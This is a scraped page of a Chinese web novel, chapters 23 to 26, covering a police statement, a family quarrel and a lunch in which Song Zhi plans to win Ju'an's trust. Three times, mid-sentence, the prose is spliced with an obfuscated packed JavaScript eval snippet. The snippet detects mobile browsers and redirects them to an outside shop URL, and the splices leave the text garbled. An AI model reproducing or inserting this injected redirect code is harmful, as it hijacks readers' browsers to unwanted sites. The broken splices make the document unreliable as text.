她原以为,在图书馆经历的一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15938521|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半钟的等待就已经足够了,谁知她这一坐又是一个钟。 期间,陈川亮出来过一次,再次询问她嫌疑人当时偷窥的方位,还提醒她肚子饿可以点外卖来吃。 听到这句话的时候,雎安很崩溃,这意味着她还要等,而且不知道要等到什么时候。 屋内灯火明亮,屋外天色渐暗。 因为刚下过暴雨的缘故,天空比往常要阴沉得多,从室外溜进来的风都透着阴凉之气。可此时毕竟正值盛夏,阴凉的风带来的是凉爽,不是寒冷,绝不至于让童敏外穿一件厚实的白色夹克。 雎安不免好奇,眼神紧随,碰巧看到童敏用力甩开汤尊的手,她的外套因挣脱力度过大而滑落,裸露的手臂上布满淤青。 比她七年前看到的,更加触目惊心。 “邹小姐,邹小姐?” 周浮沉的声调抬高了几分,直到雎安神情木然地回过头来,才接着说道:“麻烦跟我进来一下。” 往右走的第一个拐角的第三个房间,是一间房门大敞的普通办公室,雎安一眼望去,房间里堆积如山的资料杂乱得令她瞠目结舌。 然而,就在她感叹于眼前所见之时,周浮沉摁开了电脑屏幕,电脑桌面上那些难更仆数的文档又一次让她咋舌。 雎安没忍住,嘴角抽搐了一下,随后极力调整表情,不希望自己表现得太过失礼。 “坐吧。”周浮沉在电脑桌前坐下,拍了拍身旁的椅子,“邹小姐,这个人你眼熟吗?” 话音刚落,电脑桌上出现一张照片。 照片上的男子约莫二十出头,留着锅盖头,露出的五官很普通,整个人都没什么记忆点。 “应该是他。”雎安激动地点头,指着照片中的人,“身上穿的衣服,还有给人的感觉。嗯,是他,我确定。” “好。”周浮沉将照片收起,拉出键盘,开始一边询问雎安的个人信息一边录入系统,而后是就案发过程进行一系列的提问。 兴许是等待的时间太漫长,雎安觉得笔录完成得相当迅速。 末了,周浮沉将内容打印出来,让雎安在末尾写下“以上笔录我看过,和我说的一样”。 雎安乖乖照做,只是她一握笔,才注意到自己的手有些发抖,落笔的瞬间,就在空白处留下一道如蛇般的线条。 她尴尬地抬眼,没敢再落笔,“这......没事吧?” “接着写就好。”周浮沉瞥一眼,提醒道:“每一页的底部都要签名。” “好。”雎安应完,低头接着写字。 只是,她握笔的手收得格外紧,落笔极其用力。因为只有这样,她才能确保自己不会写错字。 她不够勇敢,她知道,但她也绝不是胆小如鼠的人。 之前长久的等待已经消磨了她不少的情绪,她感受的更多是等待带来的烦躁,可此刻轻微打颤的手却毫不留情地提醒着她。 你被吓到了。 “还要摁手印。” 周浮沉再一次出声提醒,雎安乖乖照做,将右手大拇指放在电脑显示器旁的印泥上轻轻一压,再摁在底部的签名上。 只是她按压的力度太轻,印出来的指印太浅,周浮沉看见后,微不可查地皱了下眉。 “再按一个,用力点。”周浮沉伸手,将印泥往雎安这边挪,“刚刚那个太浅了。” 接着,他左手的食指就被压住了。 “对不起!” 雎安刚才一直低着头,注意力都在签字盖印上,以为印泥还在原位,感受到手下触感不对的时候,已经用力地压了下去。 “我不是故意的。” 周浮沉的食指染上了红色印泥,可他没看自己的手指,而是盯着她好不容易才直视他的眼睛,语气平淡地宽慰道:“你现在很安全,不用害怕。” “嗯好......谢谢。”雎安扯出一个僵硬的笑容,而后低头,将大拇指放在印泥上,“我不是怕,就是受了点惊吓。” 不过几秒,沉稳而有力的声音从头顶传来。 “就当是上岸途中的小磨砺,之后纸顺笔利、皆是好运。” 随着他的声音落下,雎安摁下了最后一个指印。 24. “你挪不动的。” 汤晴?” 今天的汤晴难得没穿裙子,而是身穿舒适的运动休闲装。雎安刚刚一眼晃过去,差点没认出来。 汤晴同样吃惊地问道:“你怎么在这?” “我来做笔录。” “你们认识?”周浮沉问道:“什么关系?” 一分钟前,得知可以回家的雎安放松了许多,此刻直视着周浮沉的眼睛,如实相告:“认识,我们是同事。” 周浮沉没表露什么情绪,雎安却从他的细微的表情变化中察觉到他的疲累。“嗯,邹小姐你先回去吧。汤小姐,请跟我来。” 擦肩的瞬间,雎安戳了戳汤晴,俩人再次对上视线,似乎都意识到了什么。 汤晴离开之前,留下句话:“我们周一聊。” ———————— 夜晚八点,接待大厅终于短暂的安静了下来。 周浮沉提着外卖找到陈川亮,提醒道:“师傅,再不吃饭该低血糖了。” 陈川亮揉了揉眉心,伸手接过饭盒,“你是下周去市局报到吗?” “原本是下周一,但我被安排先休整一段时间,可能会过一个星期再去报到。” 陈川亮拆开塑料盒,耳边是啪嗒啪嗒的声响,“你自己的意思?” 周浮沉摇头。 他一向不喜欢别人安排他,哪怕是双亲。但现实就是,他被安排得死死的。 “别想那么多,有假期也好,出去走走,正好找前女友复合试试。” 周浮沉双手接过陈川亮递过来的番茄牛腩粉,回应道:“没可能的,师傅。她希望我能多花时间了解她,可等这段时间过去,我还是没时间和她相处,一样会分。” “你们不是在父母安排的相亲宴上认识的吗?”陈川亮不解,“按道理来说,条件合适,看得上眼,都可以结婚了。” “什么?”周浮沉停止咀嚼,剜了陈川亮一眼,“师傅,现在是2023年,已经是新时代了。” “太惨了,你这幅好皮囊都留不住人,难怪现在单身的年轻人这么多。”陈川亮一副十分痛心的表情。 周浮沉无奈,不再解释,反正他也习惯了师傅的调侃。 见他默不作声的嗦粉,陈川亮想起周浮沉刚来派出所时,他不论是在派出所还是在出任务,哪怕是休息吃饭时都是腰背挺直、细嚼慢咽的贵公子模样。而如今,他大口嗦着粉,和以往的他形成了鲜明对比。 陈川亮一时没忍住,竟感慨地笑出了声。 周浮沉不知道师傅在笑什么,索性不理会,拿出手机发短信给宋挚,告诉他自己未来几天有空闲的消息。只是,他的信息还没编辑完成,就有一通电话拨进来。 来电人是周竟雄。 “师傅,我去接个电话。” “好。” 三分钟后,周浮沉重新回到办公室,周身散发着低气压。 陈川亮回想自己瞄到的那三个字,以及周浮沉看清来电人后脸色骤变的表情,语重心长地说道:“浮沉啊,你的家世是多少人羡慕都羡慕不来的。家世好有好的好处,自然就会有坏处。你别总盯着那些不好的,除了会让自己心态失衡,也没什么用。” 周爸爸之所以舍得让儿子在华州最忙碌的派出所里每天忙得焦头烂额,为的就是把他送到老朋友陈川亮的身边历练。 周浮沉明白,陈川亮更是清楚。 尽管陈川亮很是收敛,但所里其他人仍能感受到他对周浮沉的格外照顾,对此颇有微词。 “我爸总教育我,想要的不能说要,讨厌的不能表露,要善于隐藏自己。”说着,周浮沉嗤笑一声,“现在我发现这远远不够,他是希望我想要的要说不要,讨厌的要表现出喜欢,要善于伪装自己。” 此刻屋里只有他们俩,陈川亮知道周浮沉是走心了。 “浮沉,你要由你自己的想法和目标去指引你前行,不能让其他人推着你走,哪怕是你的父母也不行。他们的建议你可以听,但不能奉为圭臬。你要记住,盲目向前是很可怕的,你会感觉付出了很多,但那基本是无用功。时间久了,你会发现自己走了很久的路,却和原地打转无异,就会越来越怀疑自己。” 因着工作习惯,两人的吃饭速度都很快,饭盒都已经见底。 听完陈川亮的一番劝解,周浮沉低头不语,默默收拾起两人的餐盒。他想不到自己该如何回应,又不想将气氛弄得太过沉重,只好生硬地转移话题。 “师傅,别说我了。倒是您,等您退了休,我会经常找您下象棋,您得提前练习了。” “哟,年轻人很狂啊~”陈川亮提到象棋就有些兴奋,“到时候输了,可别哭啊。” “我不会哭。”周浮沉稍一停顿,“我只会耍赖。” 语毕,他的面上终于浮现出笑容,整个人都鲜活了起来。 ———————— 同一时间,沉入梦乡的雎安从床上醒来,懵懂地呆坐在床上,直到门外传来刺耳的吵闹声,她揉揉太阳穴,站起身缓了好一会儿,才从床边走到门前,伸手握住门把,推开了门。 “你一天到晚在家都在干嘛啊?!”纪小梅的声音冲破天际,带着怨气,带着不甘,带着无奈和心酸,“你又不上班?衣服不洗,碗不洗,还等着我来吗?” “什么不上班?!”邹伟聪像是个火药桶,一点就炸,“我在家不是在赚钱啊?不然是谁养的你们?!” 纪小梅胸脯剧烈的起伏,高声反驳:“谁养我们?你失业都有四五年了,哪有钱养我们?” 邹伟聪满脸通红,指着煤气罐道:“煤气费不是我出的吗?电费、水费、网络费,哪个不是我出的?” “是吗?那我妈银行卡里的两万块去哪了?两万块够不够这几年的煤气费、电费、水费和网络费。”雎安冷冷地开口质问:“我妈连存钱都不会,一直是你帮她存钱,我也不知道她的银行卡密码。上次我带她去柜台查询,里边就剩几块钱。我们问你怎么回事,你发完脾气,就没给解释了。” 闻言,邹伟聪神色一僵,面上的绯红顺着脖颈往下爬,似乎要将他整个人都染红,“那你的学费呢?你知道你的学费多少钱一年吗?不用还啊?” 邹伟聪一挥手,气势即刻上来,“你有交家用吗?你看看人家吴珺,吴穷活着的时候和我们说,她女儿做直播卖货,一个月交3000家用,你呢?你交过一分钱吗?” “你知道家里的饭菜和日用品是要花钱的吗?他们不是能凭空长出来的吧?”雎安深吸一口气,闭上眼,再睁开,“还有,当初宋教授和我签完合同,预付的一万块你们二话不说就收了,那不是钱吗?” “够了!天天计较这些鸡毛蒜皮,还是一家人嘛?说出去都被人笑话。”纪小梅将包甩在地上,将矛盾转移到雎安身上,“你也是,休息在家就当自己是公主吗?几点回到家的啊?所有家务还等着我来。” 雎安也不知自己是怎么了,额前开始不受控地冒细汗,她本来是想出来和父母讲述自己今天的遭遇,想告诉他们今天自己在图书馆四楼被吓到的事情,可此刻,她张着嘴,心里却已经彻底放弃了这个打算。 “有人没有工作,整日在家都不用做家务,我不仅要上班,还要赚外快,凭什么让我来?!” 雎安的情绪顷刻爆发,失声怒吼,眼泪却从眼眶里无声滑落,“你们从来都没关心过我,就算难得问我一句好不好,我也得必须回答好!我很好!不然就是对不起你们,不然就是我心里素质弱、身在福中不知福。我真是受够了!你们放心,我很快就会搬出去!” 摔门声响起,雎安转身将自己锁进房间里,动作迅速地翻出抽屉里的两个阻门器,将它安置在门下。 门外,是邹伟聪和纪小梅暴怒的声音。只是,这次不是他们之间的争吵,而是一致对外。 “白眼狼!白养你了,养你好过养一条狗,养狗都知道摇尾巴。” “你什么态度啊?有这样和爸妈说话的吗?!” “搬出去?狼心狗肺的东西,你有本事现在就滚出去啊!怎么还死皮赖脸得赖在我家?” “反锁什么?把门打开!” 房间内始终没有回应,纪小梅气极,跑去翻房门的备用钥匙。只是,在她用钥匙打开房门的时候,门后还有一道阻碍。邹伟聪见状,帮着用身体撞击房门,却仍然没能撼动门后的阻门器。 两人在门外骂骂咧咧,雎安就靠在门后的墙上,目光呆滞地看着自己乱糟糟的房间,想着装置里那个带给她温暖和安全感的出租屋。 没事的,她不会永远被困在这。 雎安抬手,抹掉了眼泪。 ———— 周日早上,九点。 纪小梅还要去茶楼上班,邹伟聪则出门将家里囤积已久的快递盒拿去卖掉。 确保门外没有声响后,雎安起床,简单地吃过早餐后就开始洗漱打扮,直到十一点钟才出门赴约。 宋挚发来的餐厅名叫“逃离餐馆”,地址是在华州市著名的艺术仓里。 所谓艺术仓,就是华州市的咖啡店、茶馆、面包轻食店的集中地。因为基本都是近三年开业,新颖且装潢精美,都是些有艺术设计感的店铺,加上外部入口装饰成独特的工业风,所以被称为艺术仓。 只是,艺术仓规划得还不算完善,占地面积又非常大,光入口就有七八个。雎安每次过来,只要去的是一家没到过的店铺,就要兜很久的圈才能找到。 他们约定的时间是中午十二点。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15952641|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雎安十一点三十分就到了艺术仓的正大门,准备在里边转一圈,谁知宋挚订的这家店的位置绝佳,就在一进门的右侧。 雎安犹豫了一下,还是决定不逛了,先进去等着。 逃离餐馆,馆如其名。 外观是旧屋改造的废土风,内里是和自然植被融合的带有强烈的少数民族气质的软装,雎安乍一看还觉得这家店破破烂烂的,细看却是处处充满惊喜。 她穿过像是被铁锤敲出来的大门,看到店铺中央有一个小型舞台,猜想这偶尔会有歌手驻唱,接着又慢慢地往里走,一路上走走停停,发现这里还售卖唱片和磁带。 换作往常,她必定会拿起手机拍照,亦或是去唱片区看看有哪些感兴趣的歌手。 可今天,她当真提不起兴致,甚至不想和任何人说话。 “你好,我想问这有没有一个叫宋挚的提前订好了位置?” 雎安见店内一应物品的售价都偏高,可未到饭点,店内过半的座位都已被预订,菜单上还标明海鲜餐品需要提前一天预订。 “有的。”店员只一想,回复得很快,指着旋转楼梯道:“他已经到了,在二楼角落靠窗的座位。” “好的谢谢。” 店内正在播放HYBS的《TipToe》,雎安来到楼梯口,扶着像是用废石堆砌的扶手,随着副歌一步一步往上走。 宋挚的座位在一个巨大的画板旁,身后就是窗户,窗户外是肆意生长的绿叶和灿如黄金的阳光。 他在她出现在二楼的那一刻就发现了她,目光一直追随着她的脚步。 雎安下意识垂眸,加快脚步,等走近了才发现这是张仅限两人的座位,且只能坐在同一排,面对着中心正在播放无声电影的屏幕。 这位置很不错,两个不熟悉的人不用面对着彼此、大眼瞪小眼。 至少,她觉得很好。 “Hi,你几点到的?没有等很久吧?” 雎安将包放卸下,在他左边的木椅上落座。 桌上有两杯柠檬水,宋挚将其中一杯推到她面前,“没有,我刚到。” 客套且烂大街的对话,没有任何新意。 然而,在背景音乐的衬托下,在宋挚直白坦荡的注视中,在雎安无意识地做出躲避视线和整理头发的动作后,气氛倒有些暧昧了。 空气中弥漫着淡淡的香气,香气不属于她,也不属于这间餐厅。 她终于察觉到,他今天喷了香水,气味很淡,但她能辨认出这是雪松的味道,因为雪松是她少有的能辨认出并喜欢的气味。 舒心的气味可以让她低落的情绪好转了些。雎安吸了吸鼻子,心叹,这也算是歪打正着了。 “这间餐厅菜单是固定的,十天一换,只有海鲜和非海鲜的选项,我干脆就都点了。”宋挚解释完,还是象征性地问了一句,“你对海鲜不过敏吧?” 雎安终于抬眸,看着他的眼睛,若有似无地摇了摇头。 “那就好。”宋挚将刀叉递给她,“你待会儿可以先把所有菜品都盛进盘子里试试,然后再选你喜欢的。” 低落的情绪逐渐消散,她的心,正在被名为紧张的情绪占据。 “谢谢。” 铁勺的触感本该冰凉,残留的体温却让她的手指瞬间有了触及火苗的炽热感。 刚刚,他递勺子给她的时候,握的是勺子的最底端。 她本可以、也不该触到他,但她的无名指和小指却像羽毛清落般触到了他的食指。 被触及的皮肤有些痒,宋挚收回手后,下意识地用右手揉了揉。 餐点未上,歌曲结束,无声的老电影又太过艺术,无法吸引雎安的注意力。 他们,一个坐在两点钟方向,一个坐在四点钟方向,隔着一个座位的距离,不远不近。 她想,一定是她失神导致的行为让他感到不适了。不然的话,他为何要用右手用力地搓揉她触过的皮肤? 这样想着,雎安的唇角微微下垂,双肩耸拉下来,双手放置于椅边,猛地往左一移。 她还是离他远一点吧,保持距离。 “吱!” 木椅发出一声短促且刺耳的声音,在还算安静的餐馆里显得格外刺耳,几乎让二楼的顾客都好奇地投来了目光。只是,单纯的好奇并不会让他们注目,很快,他们就移开了视线。 十几秒的静止后,雎安才将陡然瞪大的双眼闭合,暗自咬牙。 “店主是搞艺术的,对室内布局和物件摆放都很有自己的想法。你坐的这把椅子就是他淘来的,有些年头了,所以做了固定处理。” 雎安循声抬眸,看见宋挚靠在椅背上、朝她笑了笑。 “你挪不动的。” 25. 利用 宋挚清楚记得,在他初二那年的中秋家宴上,母亲曾在饭桌上云淡风轻地提及一件往事。 她说她创业那会儿,卢宇年的父亲卢震南总会有意无意地接近她,虽然并没有肢体接触,但缺乏边界感的突然靠近就已经让她感到十分不适。后来,她考取了教师资格证到高校任职,那人还连续送了一年的花到她的办公室。可不论那人如何努力,她对他的印象都因为初见时的鲁莽而大打折扣。 说到最后,邓玉瑛托着腮,笑意盈盈地看着宋言林不爽的表情,还顺带调侃了一番宋挚,让他以后追女孩子的时候一定不要学那个老板。 所以,宋挚并不认同某些攻略里写的“制造不经意的肢体接触”,在他看来,至少是在快要确定关系的暧昧期才适用这一方法。 现下,虽然肢体接触并不是他造成的,但雎安尴尬的反应让他更加确信这一点。 “试试鱿鱼?” 宋挚将法棍、黄油和刚上的大鱿鱼推到雎安面前,借此不露痕迹地看了眼她微肿的眼皮和总是低垂着的眼眸。 很明显,她哭过,情绪并不好。 “好。” 雎安见盘子里有两只鱿鱼,觉得没有客套的必要,直接用叉子弄了一只到自己的盘子里。 紧接着,鸡胸肉藜麦沙拉、黑松露培根意面、三文鱼牛肉盖饭,路易波士柠檬红茶和茉莉柠檬绿茶,全都摆在了雎安面前。 “想喝哪个?”宋挚指着两杯饮品,“饮品是随餐送的,你不喜欢的话,可以另点。” “不用。”雎安连忙摆手,将那杯路易波士柠檬红茶拿到自己面前,“我喜欢喝红茶。” “好。”宋挚拿起另一杯绿茶,直接喝了半杯后,叫住了经过的服务生,“要一壶玫瑰红茶烤奶。” 雎安立刻阻止,“别!我喝不了那么多。” “是我想喝。”宋挚轻勾唇角,坚定地加了单。 后来听到雎安说她不怎么爱吃沙拉,又发现她对烤鸡胸肉有兴趣的时候,直接用公共餐具将沙拉上的鸡胸肉都放到一个小盘子里,推到雎安面前。 这顿饭就在这种诡异的氛围中进行着...... 为何要用诡异这个词来形容?雎安也说不上来。 她边咀嚼边回忆,以往和家人朋友吃饭,她都偏向于是照顾人的角色,好像......从来没有这样被人全程关照着用餐。 有一个瞬间,她以为她到了某底捞。 可问题是,宋挚和她算不上熟人,称不上朋友,更不是服务员,没有必要这样照顾她。 那就只剩下两种可能,一是他对她有好感,二是他有求于她。 对她有好感? 不可能! 有求于她? 雎安不由地看向宋挚身边那个包装精美的礼品袋,她刚落座的时候就发现了它的存在。 中午十二点,无声的黑白电影结束了播放。紧接着,大屏幕突然亮起高饱和的蓝色灯光,音响发出颇有年代感的气鸣声,待轻缓的钢琴声响起,屏幕被多彩的高饱和色彩布满,倒映在了雎安的眼眸中。 店里播放的电影,居然是《哈尔的移动城堡》。 “擦擦手吧。” 雎安的手指上有飞溅出来的奶油酱,虽然只有零星两点,但宋挚很快注意到,将桌边的湿纸巾撕开并递给了她。 “谢谢。”雎安接过湿巾,眼睛从屏幕上移开,专心地为自己擦去污渍。 她低着头,看着自己的双手,冰凉的湿巾给她带来了清凉绵柔的触感,耳边是哈尔温柔且愉悦的声音,“总算找到你了。” 随着音乐节奏在逐渐加快,雎安奇怪的感觉也越来越明晰,突然间,只觉后脑勺一麻。 难怪,难怪她会觉得眼前的人陌生又熟悉。 除去长相,她完全无法将她在现实接触到的宋挚和装置里的宋挚联想到一起。 因为他们太不像了,她需要一点一点地寻找他们身上的共同之处,才能得到也许、类似、大概的类似感。 凭空出现的记忆,凭空出现的无微不至、体贴关怀的宋挚,就像是她臆想出来的。 可今天,这个坐在她面前的名为宋挚的男人,他的行为和给她感觉却意外得和在病房里照顾她的宋挚极为相似。 她不用刻意寻找,不用刻意联想,他们身影就能重叠在一起。 这也是为什么,即便他没有刻意在找话题聊天,她坐在他身旁静静地用餐,也没有尴尬和不安,反倒有一种平静且安心的感觉。 这和之前在学校里碰见的宋挚大不相同,那时的他身上有戾气、有锐气、有防备,她和他明明没有独处一室,但他的目光投射到她身上时,她都会紧张得不行。 可在这,她却能从紧张的情绪中摆脱出来,越来越放松。 “其实......我今天找你出来,是想请你帮忙。”见雎安用完正餐,宋挚终于开口说正事,“当然,我会成倍的回馈你。” 宋挚的潜台词是:帮我,你必定稳赚不赔。 这就是他结合攻略客户的第三点:表明能提供给客户的价值,以此来表明自己是个能给雎安带来价值的人。 “啊?” 有求于她,在雎安的意料之中,但雎安没明白,会成倍的回馈她是什么意思? 雎安疑惑地看着他,发觉自己眼中那重叠的身影正在慢慢分离,她越是看得仔细,就发觉他们越是不像。 尤其是他们的眼睛,一个总是带着浓烈的情绪,眸底似阳光下的湖中涟漪,时常波光粼粼,另一个却非常淡漠,眸底似一潭死水,即便有光能打过去,透出来的也是刺目的寒意。 宋挚过了好一会儿,才开口道:“我的意思是......我们交个朋友吧。对朋友,我一向讲义气,只要你愿意帮我,往后我一定会在你需要的时候,尽我所能地帮你。” 朋友,义气。 这两个词搭在一起,雎安突然就想到了周浮沉,想到了记忆里那狗血到让她脚趾抓地的对话和情节。 见雎安轻咬下唇,眉头微皱,表情和反应都不太好,宋挚也跟着皱起了眉头,面露担忧之色。 昨天,他一整天都闷在家里研究该如何处理母亲和邹雎安的事。 母亲的事,他还算是有眉目。 一是找出寄件人,二是请周浮沉帮忙调查,他纠结的点,无非是要不要告诉父亲和舅舅。 而如何能让邹雎安打心底里愿意帮助他,则有难度得多。虽然有攻略为他指了条路,但是不是条明路,还不好说。 于是,他从“如何快速获得客户的信任?”的第一点,就是“了解客户的背景,提前做好功课”着手,找了个私家侦探调查雎安的家庭和生长背景。 因为他想了解的并不是什么过于私隐的事,而他本身就有邹雎安的手机号和社交账号,又给对方加了点钱。所以对方手脚格外麻利,今天一大早就将整合好的资料发给了他。 邹雎安,女,24岁,就读于华州财经大学商务英语专业,毕业后一直在杰达电子有限公司做外贸业务员。 其父邹伟聪,华州本地人,大专毕业后就安娜维诺旗下的工厂上班,但社保已经断缴五年,目前是待业状态。 看到这,宋挚的眼皮一跳。 安娜维诺旗下的工厂众多,但位于华州市区内的工厂就只有那一间,她父亲工作的地方大概率就是他母亲出事的那间工厂。 不过,她父亲早已失业,能知道她母亲被害内幕的可能几乎为零。 这样想着,宋挚接着往下看。 其母纪小梅,也是华州本地人,初中毕业,换过好几份工作,目前在华州当地一家老式茶楼做楼面经理。 再来,便是二十几页的社交动态截图,分别来自于微博、小红书和□□空间,时间跨度长达六年。 对方兴许是怕宋挚看不出门道来,还贴心地做了注解。 大意是:邹雎安是个家庭条件差、和父母有矛盾、身边只有三两好友,没什么资源和人脉的女人。 看到这里,宋挚就知道对方把他归档到了婚前调查另一半的那类客户名单里。 果不其然,对方接下来就问他,要不要细查对方父母有无犯罪史和不良信用记录?或者是家庭遗传病,他说他有渠道,可以查看他们家在公立医院的就医记录。 只是,费用就是另外一回事了。 宋挚拒绝了。 因为手头的资料已经足够他分析邹雎安这个人了。 一个没担当且缺乏责任感的父亲。一个能力有限却不得不独自承担经济压力多年的母亲。而她本人明明有着相当不错的容貌和出众的书卷气,却总是低眉垂眸、不敢与人对视,说话做事时常有畏缩之态。 宋挚的脑中瞬间浮现出一个画面。 画面里,男人坐在桌边抱怨生活,女人站在洗碗池边歇斯底里,女孩则垂着头、站在桌边默默流泪。 宋挚确信,她是个极度缺乏爱和关怀的人。 而她这类人,一旦被谁理解和支持,就会特别容易感动,把某人随手给予的一点点善意铭记于心。 这就是雎安的弱点,也是他的突破点。 只是,她这类人的内心防御往往很重,对家人、朋友和伴侣都会设有防备,而一旦卸下防备,就极易陷进自我感动的付出中无法自拔。 宋挚一番思考后,觉得自己必须得先攻破她的防备,才有获得她信赖的可能。 虽然怎样都要利用她,但他不想为了救母亲就合理化一些不择手段的龌龊行径,母亲知道了也必定会对他感到失望,所以他并不打算以感情骗子的身份去攻破防备,而是以朋友的身份。 这也就是他为什么要说“我们交个朋友吧,我一向讲义气。”的原因。 可当下,雎安表现出的竟然不是他预想中的防备和淡漠,而是出乎意料的质疑和抵触。 情况,比他预想的还要糟糕。 “那不如......”雎安终于开口,试探性地询问道:“你先回答我的问题。我再听听看,你想让我帮什么忙,可以吗?” “可以。”宋挚完全没犹豫。 “那天你送我出校门的时候,说宋教授不是一个值得信任的人,说他有可能会伤害到我,是有什么依据吗?” 雎安问完,又担心自己会不会像是在质问宋挚,故而语气柔和的补充道:“说实话,我听了以后多少有些害怕,可我也不可能一味地听信你的话,你总得是有依据的吧?” 电影播放到苏菲威胁卡西法、让卡西法煮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她发现宋挚知道的并不多,也并不全面,甚至可能还不如她。他并不知道宋教授早在五月初就在请她来实验,若不是她一直拒绝,只怕是会更早开始实验。 因此,她确定眼前的宋挚并不能解答她的疑惑。 思及此,雎安甚至怀疑,宋教授也无法为她解惑。 当时在走廊上,宋言林让她不要多想的回答,很可能就是能给她的当下最确切的答案了。 那些记忆指不定就是说不清道不明的“副作用”,只是因为她脑中的画面和现实中的人相关,而他们之间的发展并不向好,所以她就很怕那些记忆会和现实关联在一起,从而惴惴不安,希望得到毫无关联的确切回答。 装置之所以需要进行实验,很可能就是要校正那些错误和漏洞。 而今,她觉得自己真是想太多,这也怕,那也怕,闹得自己总是心慌意乱。 而一旁的宋挚观察着垂眸思考的雎安,以为她对他的回答并不满意,以为她将他定性为了会随意迁怒于人的情绪不稳的男人。 情急之下,他想到了“如何快速获得客户的信任?”的第四点:讲述引人入胜的故事,遂一咬牙,决定主动揭开自己的伤疤,以真情实感来换取雎安的怜悯和共情。 “抱歉,我当时情绪不好,不是诚心让你难堪的。我现在再郑重其事地和你说一声,对不起。” “你愿意接受我道歉吗?” 宋挚眼中的渴求呼之欲出,像是在黄沙飘扬的沙漠中寻找水源的旅人,越是急切,越是无助,越是无助,越是渴求。 雎安看着他的眼睛,竟联想到了装置里那双望向她时同时盛满喜悦和悲伤的双眸,以及他紧紧将她拥在怀中时那打在她颈侧的鼻息。 她心中一紧,赶忙解释道:“没事没事,我没有在意你的那句话,只是之前不清楚你为什么会那样说,今天才会当面问你。至于帮忙的事,你先说说看是什么事吧,我未必能帮到你。” “不,只有你可以。”宋挚深吸一口气,接着说道:“我想,在请求你帮忙之前,有必要告诉你一些事。不然的话,你一定不会理解我为什么要请你帮忙。” “好。”雎安能感受到他的忐忑不安,知道他接下来要说的事,必定不是能轻易开口的事,故而压低声音,眼睛定定地望着他,“你慢慢说,我在听。” 片刻沉默后,宋挚终于开口。 “我母亲在今年的情人节被人毒害了。” “因为我父亲的失约,而我母亲又刚好接到一通电话,是她之前帮助过的一个工人打来的。那个工人很早之前就从外地来华州打工,他前几年失业,还因公受伤,却没有拿到工厂的赔偿。我妈不知道在哪听到了这件事,主动联系到他,托律师帮他申请理赔,还让我爸帮他找了份在工厂食堂的工作。” “之后,黄斌逢年过节都会寄礼品到我家。而情人节那天,他打来电话,说工厂那边其实一直在压榨他,总是让他加夜班,还找各种理由克扣他的工钱,情人节当天更是突然通知他,说以后都不需要面点师傅了,让他明天就收拾包袱走人。他反驳他们,说这样是违法的,他们还嘲笑黄斌。而我妈一直以为她帮助过的人生活得不错,结果没想到他的情况这么不好,她听后非常生气,急匆匆地跑去了工厂。” 只闻一声沉重的鼻息,宋挚的声音再度响起,“结果,就再没回来了。” 终于等到宋挚说完,雎安急切地和他确认:“你说的那个工人,叫什么来着?” 26. 她值得这世上最好的一切 “他叫黄斌。”宋挚注意到雎安的异常,“怎么?你认识他?” 雎安话一问出口,其实就后悔了。 根据宋挚话里透露的信息,那个黄斌恩将仇报、毒害了他妈妈,和她遇见的黄斌就不可能是一个人。 宋挚可是在说他妈妈过世的事,她怎么能中途打岔呢? “没什么,我就是听岔了,还以为他叫黄平。”雎安选择否认,还补上了无谓的解释,“呃.....黄平是我初中同学。” “初中同学,也难得你记得名字,很多人我都忘了。” 既然是个无关紧要的小插曲,宋挚很快整理好思绪,接着说道:“说起来,我从初中开始就不让家里人省心,尤其是高中的时候,我觉得我父母说什么都不对,他们一点都不懂我。尤其是高考前,我只要一回家,就会对我爸妈莫名其妙的发脾气。即便他们塞钱给我,担心我吃不饱,劝我多运动、多晒太阳,和我说考不好也没事,只要我健康就行。我都觉得......他们不过是站着说话不腰疼,变相给我施加压力而已。” “我每天学习学得闭不上眼,哪来的时间运动?他们轻飘飘地说一句考不好也没事,可如果我高考就落后于人,那以后我身处的环境和获得的资源也会落后于人,未来的发展怎么办?工作怎么办?我总不能一直依赖他们吧?” 雎安听到了一声叹息。 “是我在备考的时候太过焦虑,钻了牛角尖,以为人生就这么一条路,就只有这么一次机会。” 宋挚表情苦涩地勾了勾唇角,像是在嘲讽自己,“当时我身边的人都在羡慕我,说我有像朋友般支持我的父母,他们做梦都不敢想。我听了以后只觉得可笑,还出声反驳他们。” 闻言,雎安的内心有些复杂。 她想起了自己的青春期,想到了自己的父母。如果她当时是宋挚的同学,肯定也会羡慕他,觉得他是身在福中不知福。 青春期那会儿,她总是情绪低落,与父母相处就觉得烦躁,但却没有表露出攻击性。父母说的话,她就算不想听,也很少反驳。因为她爸妈只要一生气,就会拿生活费威胁她,让她在老师和同学面前下不来台。 她印象最深的那次是在看高一下学期。 班主任说秋游研学和综合实践活动分挂钩,每个人都要去,每人要交两百八。 而她因为和父母吵了架,一直拿不到钱,被班长追问了五六次,引得同学在背后议论。 最后,还是班主任打电话给邹伟聪,强调这和学分挂钩,邹伟聪才把钱给了她,还借此嘲讽她无用,说她花着父母的钱就必须听话,不然就自己出去赚钱。 